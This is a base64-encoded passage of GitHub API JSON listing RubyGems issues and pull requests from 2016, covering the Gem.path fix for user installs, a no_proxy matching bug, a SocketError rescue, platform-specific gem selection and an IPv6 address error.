ydW50aW1lLiBcblxuV2hhdCBpcyB0aGUgcHJvcGVyIHdheSBmb3Igc2V0dGluZyBwbGF0Zm9ybS1kZXBlbmRlbnQgZGVwZW5kZW5jaWVzIGluIHRoZSBnZW1zcGVjP1xuXG5UaGlzIGlzc3VlIGlzIHJlbGF0ZWQgdG86XG4tIFsgXSBOZXR3b3JrIHByb2JsZW1zXG4tIFt4XSBJbnN0YWxsaW5nIGEgbGlicmFyeVxuLSBbeF0gUHVibGlzaGluZyBhIGxpYnJhcnlcbi0gW3hdIFRoZSBjb21tYW5kIGxpbmUgYGdlbWBcbi0gWyBdIE90aGVyXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE2NjEiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTY2MS9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTY2MS9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNjYxL2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTY2MSIsImlkIjoxNjUwNDI1MjAsIm51bWJlciI6MTY2MSwidGl0bGUiOiJTaG91bGQgcmVzcGVjdCBHZW0ucGF0aCByYXRoZXIgdGhhbiB1c2luZyBHZW0uZGlyIiwidXNlciI6eyJsb2dpbiI6ImdvZGZhdCIsImlkIjoxMDQxNiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTA0MTY/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2dvZGZhdCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2dvZGZhdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2dvZGZhdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9nb2RmYXQvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZ29kZmF0L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9nb2RmYXQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9nb2RmYXQvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9nb2RmYXQvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZ29kZmF0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZ29kZmF0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9nb2RmYXQvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W10sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjo2LCJjcmVhdGVkX2F0IjoiMjAxNi0wNy0xMlQxMDoxMzo1NVoiLCJ1cGRhdGVkX2F0IjoiMjAxNi0wOC0wOVQwNTozMDozNFoiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6IkNPTlRSSUJVVE9SIiwicHVsbF9yZXF1ZXN0Ijp7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMTY2MSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTY2MSIsImRpZmZfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTY2MS5kaWZmIiwicGF0Y2hfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTY2MS5wYXRjaCJ9LCJib2R5IjoiQ2xvc2VzICMxNjgwIFxuXG5TaG91bGQgcmVzcGVjdCBHZW0ucGF0aCByYXRoZXIgdGhhbiB1c2luZyBHZW0uZGlyXG5cblRoaXMgZml4ZXMgaW5zdGFsbGluZyBnZW1zIHdpdGggbmF0aXZlIGV4dGVuc2lvbnMgd2l0aCBgLS11c2VyYC5cblxuYGBgXG5nZW0gaW5zdGFsbCAtLXVzZXIganNvblxuYGBgXG5cbldvdWxkIGluc3RhbGwgdG8gdGhlIHdyb25nIHBsYWNlIHdpdGhvdXQgdGhpcyBwYXRjaC5cbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTY0MyIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNjQzL2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNjQzL2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE2NDMvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE2NDMiLCJpZCI6MTYwNzY3NTk5LCJudW1iZXIiOjE2NDMsInRpdGxlIjoibm9fcHJveHkgYWN0aXZhdGVzIGlmIHRoZSBub19wcm94eSBlbnYgdmFyIGlzIHRoZSBjbG9zaW5nIHN1YnN0cmluZyBvZiB0aGUgaG9zdG5hbWUiLCJ1c2VyIjp7ImxvZ2luIjoid2FkZXRhbmR5IiwiaWQiOjE0ODQ3MCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTQ4NDcwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93YWRldGFuZHkiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS93YWRldGFuZHkiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93YWRldGFuZHkvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2FkZXRhbmR5L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3dhZGV0YW5keS9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2FkZXRhbmR5L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2FkZXRhbmR5L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2FkZXRhbmR5L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3dhZGV0YW5keS9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3dhZGV0YW5keS9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2FkZXRhbmR5L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjozMDczNzQ0NTUsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3N0YXR1czolMjB0cmlhZ2UiLCJuYW1lIjoic3RhdHVzOiB0cmlhZ2UiLCJjb2xvciI6ImZlZjJjMCIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjozLCJjcmVhdGVkX2F0IjoiMjAxNi0wNi0xNlQyMTo0MDozM1oiLCJ1cGRhdGVkX2F0IjoiMjAxNy0wNi0wNlQxNToxNjo0NloiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik5PTkUiLCJib2R5IjoiSSB3b3VsZCBsaWtlIHRvIHN1Z2dlc3QgYnVnIGZpeC5cblxuVG9kYXkgSSBkaXNjb3ZlcmVkIHRoYXQgZXZlbiB3aGVuIGEgcHJveHkgaXMgc2V0IGNvcnJlY3RseSBpbiB0aGUgZW52aXJvbm1lbnQgdmlhIGBFTlZbJ2h0dHBfcHJveHknXWAsIGlmIGBFTlZbJ25vX3Byb3h5J11gIGluY2x1ZGVzIGEgdmFsdWUgdGhhdCBpcyB0aGUgdHJhaWxpbmcgc3Vic3RyaW5nIG9mIHRoZSBydWJ5Z2VtcyBob3N0IGJlaW5nIGFjY2Vzc2VkLCB0aGUgbm8gcHJveHkgbG9naWMgd2lsbCBoYXZlIGEgZmFsc2UgbWF0Y2ggYW5kIHRoZSBwcm94eSB3aWxsIGJlIGRpc2FibGVkIHNpbGVudGx5IGZvciB0aGUgcmVxdWVzdC4gIFRoaXMgY2F1c2VzIHRoZSByZXF1ZXN0IHRvIGhhbmcgdW50aWwgdGltZW91dCBhbmQgd2FzIHF1aXRlIGhhcmQgdG8gZGVidWcuICBJdCB0dXJucyBvdXQgaW4gbXkgY2FzZSBhbiBlbnZpcm9ubWVudCBjb25maWd1cmF0aW9uIGVycm9yIGhhZCBzZXQgYG5vX3Byb3h5PSxleGFtcGxlLmNvbWAsIHNvIHRoZSBjb21tYSBzcGxpdCBpbmNsdWRlZCBhbiBlbXB0eSBzdHJpbmcsIGJ1dCB0aGUgYnJvYWRlciBpc3N1ZSBzdGlsbCBleGlzdHMuXG5cbkkgaGF2ZSBwdXNoZWQgdXAgYSBicmFuY2ggd2l0aCB0d28gZmFpbGluZyB0ZXN0cyBkZW1vbnN0cmF0aW5nIHRoZSBwcm9ibGVtOiBodHRwczovL2dpdGh1Yi5jb20vd2FkZXRhbmR5L3J1YnlnZW1zL3RyZWUvbm9fcHJveHlfc3Vic3RyaW5nXG5cblRoaXMgaXNzdWUgaXMgcmVsYXRlZCB0bzpcbi0gWyBdIE5ldHdvcmsgcHJvYmxlbXNcbi0gW1hdIEluc3RhbGxpbmcgYSBsaWJyYXJ5XG4tIFsgXSBQdWJsaXNoaW5nIGEgbGlicmFyeVxuLSBbIF0gVGhlIGNvbW1hbmQgbGluZSBgZ2VtYFxuLSBbIF0gT3RoZXJcbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTY0MSIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNjQxL2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNjQxL2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE2NDEvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xNjQxIiwiaWQiOjE2MDM5NzAxMSwibnVtYmVyIjoxNjQxLCJ0aXRsZSI6IlJlc2N1ZSBvZiBTb2NrZXRFcnJvciBlcnJvciBpbiByZW1vdGVfZmV0Y2hlci5yYjphcGlfZW5kcG9pbnQiLCJ1c2VyIjp7ImxvZ2luIjoiYmFka2FwaXRhbiIsImlkIjoxMTA0NDIxMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTEwNDQyMTE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2JhZGthcGl0YW4iLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9iYWRrYXBpdGFuIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYmFka2FwaXRhbi9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9iYWRrYXBpdGFuL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2JhZGthcGl0YW4vZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2JhZGthcGl0YW4vc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9iYWRrYXBpdGFuL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYmFka2FwaXRhbi9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9iYWRrYXBpdGFuL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYmFka2FwaXRhbi9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYmFka2FwaXRhbi9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbXSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjEsImNyZWF0ZWRfYXQiOiIyMDE2LTA2LTE1VDExOjEzOjAxWiIsInVwZGF0ZWRfYXQiOiIyMDE2LTA2LTI3VDIxOjU5OjAyWiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiRklSU1RfVElNRV9DT05UUklCVVRPUiIsInB1bGxfcmVxdWVzdCI6eyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzE2NDEiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzE2NDEiLCJkaWZmX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzE2NDEuZGlmZiIsInBhdGNoX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzE2NDEucGF0Y2gifSwiYm9keSI6IiMgRGVzY3JpcHRpb246XG5cblNvbWV0aW1lcyBhIFNvY2tldEVycm9yIG1pZ2h0IG9jY3VyIGR1cmluZyBydWJ5J3MgRE5TIGxvb2t1cC4gVGhpcyBzb3VsZCBub3QgY3Jhc2ggZ2VtIHNhbWUgYXMgUmVzb2x2RXJyb3IgZG9lcyBub3QgY3Jhc2ggaXQuXG5cbi0tLVxuIyBUYXNrczpcbi0gW1hdIERlc2NyaWJlIHRoZSBwcm9ibGVtIC8gZmVhdHVyZVxuLSBbIF0gV3JpdGUgdGVzdHNcbi0gW1hdIFdyaXRlIGNvZGUgdG8gc29sdmUgdGhlIHByb2JsZW1cbi0gWyBdIEdldCBjb2RlIHJldmlldyBmcm9tIGNvd29ya2VycyAvIGZyaWVuZHNcbi0gW1hdIFtTcXVhc2ggY29tbWl0c10oaHR0cDovL2dpdHJlYWR5LmNvbS9hZHZhbmNlZC8yMDA5LzAyLzEwL3NxdWFzaGluZy1jb21taXRzLXdpdGgtcmViYXNlLmh0bWwpXG5cbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE2MjkiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTYyOS9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTYyOS9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNjI5L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNjI5IiwiaWQiOjE1NzM4Nzk0NSwibnVtYmVyIjoxNjI5LCJ0aXRsZSI6IkRpZmZlcmVudCBiZWhhdmlvdXIgb2YgZmV0Y2ggYW5kIGluc3RhbGwgd2l0aCBwbGF0Zm9ybSBzcGVjaWZpYyBnZW1zIiwidXNlciI6eyJsb2dpbiI6InRveSIsImlkIjoxODE0NCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczIuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTgxNDQ/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RveSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3RveSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RveS9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90b3kvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdG95L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90b3kvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90b3kvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90b3kvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdG95L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdG95L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90b3kvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMwNzM3NDQ1NSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvc3RhdHVzOiUyMHRyaWFnZSIsIm5hbWUiOiJzdGF0dXM6IHRyaWFnZSIsImNvbG9yIjoiZmVmMmMwIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjAsImNyZWF0ZWRfYXQiOiIyMDE2LTA1LTI5VDE0OjA4OjA0WiIsInVwZGF0ZWRfYXQiOiIyMDE2LTA1LTI5VDE0OjA4OjA0WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiQ09OVFJJQlVUT1IiLCJib2R5IjoiV2hlbiBjaGVja2luZyBob3cgcnVieWdlbXMgYmVoYXZlIHdpdGggcGxhdGZvcm0gc3BlY2lmaWMgZ2VtcywgSSd2ZSBub3RpY2VkIGRpZmZlcmVudCBiZWhhdmlvdXIgb2YgZmV0Y2ggYW5kIGluc3RhbGwgY29tbWFuZHMuIEdpdmVuIG15IHBsYXRmb3JtIGlzIGB4ODZfNjQtZGFyd2luLTE1YCwgdXNpbmcgZ2VtaW5hYm94IGFuZCBnaXZlbiB0aGVyZSBhcmUgb3JpZ2luYWxseSBmb2xsb3dpbmcgZ2VtcyB1cGxvYWRlZDpcbi0gYWJjLTAuMS4wXG4tIGFiYy0wLjEuMC1kYXJ3aW5cbi0gYWJjLTAuMS4wLXg4Nl82NC1kYXJ3aW5cbi0gYWJjLTAuMS4wLXg4Nl82NC1kYXJ3aW4tMTRcbi0gYWJjLTAuMS4wLXg4Nl82NC1kYXJ3aW4tMTVcblxuSSBmZXRjaGVkL2luc3RhbGxlZCBhIGdlbSwgdGhlbiByZW1vdmVkIHRoZSBvbmUgdGhhdCB3YXMgZmV0Y2hlZC9pbnN0YWxsZWQgZnJvbSBzZXJ2ZXIgYW5kIHJlcGVhdGVkLlxuRm9yIGluc3RhbGwgdGhlIG9yZGVyIHdhczpcbi0gYWJjLTAuMS4wLWRhcndpblxuLSBhYmMtMC4xLjAteDg2XzY0LWRhcndpblxuLSBhYmMtMC4xLjAteDg2XzY0LWRhcndpbi0xNVxuLSBhYmMtMC4xLjBcbi0gRVJST1I6ICBDb3VsZCBub3QgZmluZCBhIHZhbGlkIGdlbSAnYWJjJyAoPj0gMCkg4oCmXG5cbkZvciBmZXRjaCB0aGUgb3JkZXIgd2FzOlxuLSBhYmMtMC4xLjAteDg2XzY0LWRhcndpbi0xNVxuLSBhYmMtMC4xLjBcbi0gYWJjLTAuMS4wLXg4Nl82NC1kYXJ3aW5cbi0gYWJjLTAuMS4wLWRhcndpblxuLSBFUlJPUjogIENvdWxkIG5vdCBmaW5kIGEgdmFsaWQgZ2VtICdhYmMnICg+PSAwKSDigKZcblxuVGhpcyBpc3N1ZSBpcyByZWxhdGVkIHRvOlxuLSBbIF0gTmV0d29yayBwcm9ibGVtc1xuLSBbIF0gSW5zdGFsbGluZyBhIGxpYnJhcnlcbi0gWyBdIFB1Ymxpc2hpbmcgYSBsaWJyYXJ5XG4tIFt4XSBUaGUgY29tbWFuZCBsaW5lIGBnZW1gXG4tIFsgXSBPdGhlclxuXG5IZXJlIGFyZSBteSBjdXJyZW50IGVudmlyb25tZW50IGRldGFpbHM6XG5cbmBgYFxuJCBnZW0gZW52IHZlcnNpb25cbjIuNi40XG5gYGBcblxuSSB3aWxsIGFiaWRlIGJ5IHRoZSBbY29kZSBvZiBjb25kdWN0XShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9tYXN0ZXIvQ09ERV9PRl9DT05EVUNULm1kKS5cbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTYyNiIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNjI2L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNjI2L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE2MjYvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE2MjYiLCJpZCI6MTU2NzU2NTY5LCJudW1iZXIiOjE2MjYsInRpdGxlIjoiKEFyZ3VtZW50RXJyb3IpICAgICBJUHY2IGFkZHJlc3MgbXVzdCBiZSAxNiBieXRlcyIsInVzZXIiOnsibG9naW4iOiJraG9sYmVraiIsImlkIjoyNzg2NTcxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMy5naXRodWJ1c2VyY29udGVudC5jb20vdS8yNzg2NTcxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9raG9sYmVraiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2tob2xiZWtqIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva2hvbGJla2ovZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva2hvbGJla2ovZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva2hvbGJla2ovZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2tob2xiZWtqL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmd